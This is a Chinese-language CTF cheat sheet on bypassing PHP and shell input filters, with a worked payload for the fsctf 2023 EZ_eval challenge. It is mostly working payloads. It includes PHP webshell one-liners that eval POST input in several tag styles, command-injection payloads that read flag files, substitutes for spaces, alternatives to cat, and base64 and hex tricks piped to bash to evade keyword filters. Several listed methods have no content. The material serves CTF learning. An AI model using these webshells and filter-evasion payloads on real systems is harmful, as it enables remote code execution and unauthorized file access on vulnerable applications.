过滤< or <? or ? or php 可以使用短标签绕过
1 2 3 4 5 6 7 8 9 10 <? echo '123' ;?> <?= (表达式)?> 等价于 <?php echo (表达式)?> <% echo '123' ;%> <script language="php" >echo '123' ; </script> <?php @eval ($_POST ['cmd' ]); ?> <?= @eval ($_POST ['cmd' ]); ?> <% @eval ($_POST ['cmd' ]); %> <script language='php' >@eval ($_POST ['cmd' ]);</script>
一个ctf题目fsctf[EZ_eval]2023
1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['word' ])){ $word = $_GET ['word' ]; if (preg_match ("/cat|tac|tail|more|head|nl|flag|less| /" , $word )){ die ("nonono." ); } $word = str_replace ("?" , "" , $word ); eval ("?>" . $word ); }else { highlight_file (__FILE__ ); }
过滤?与空格
注意:
也能正常执行,那就说明$word只要是一个正常的php代码就能正常执行,而?>不会影响后面的php代码
payload:
1 2 3 4 5 <script%09 language='php' >system ('strings%09/fl*' )</script>or <script%09 language='php' >system ('c\a\t%09/fl*' )</script>or <script%09 language='php' >system ('paste%09/fl*' )</script>
过滤了空格 以下是可以代替空格(url编码是%20)的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 %09:tab键(水平) %0a:换行 %0c:新的一页 %0d:相当于return 作用 %0b:tab键(垂直) ${IFS} 注意:system ()函数里面用单引号('' ),否则${IFS}没办法被解释为空格而绕过 {IFS} $IFS $IFS$1 IFS < <> {cat,flag.php} X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
禁止cat 方法1使用转义符号绕过:
方法2替换法: 1 2 3 4 5 6 7 8 9 10 11 12 13 more:一页一页的显示档案内容 less:与 more 类似head :查看头几行tac :从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail :查看尾几行nl :显示的时候,顺便输出行号od :以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看sort :可以查看uniq :可以查看 file -f:报错出具体内容 sh /flag 2>%261 //报错出文件内容
过滤了关键字flag 方法1编码绕过: base64编码:
1 cat `echo 'ZmxhZy5waHA=' | base64 -d`
1 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
1 echo Y2F0IGZsYWcucGhw|base64 -d|sh
等同于cat flag.php
hex编码:
1 echo "63617420666c61672e706870" | xxd -r -p | bash //"" 也可以去掉
1 echo "63617420666c61672e706870" | xxd -r -p | sh
方法2变量赋值拼接绕过:
方法3内联执行绕过: 1 2 3 4 5 cat `ls `echo `ls `;echo $(ls ); ?><?=`ls `; ?><?=$(ls );
方法4[]绕过:
方法5空变量绕过: 1 cat fl${2} ag //使用$*和$@ ,$x (x 代表 1-9),${x} (x>=10)(小于 10 也彳亍)
方法6通配符绕过:
方法7使用转义符号绕过:
方法8’’绕过: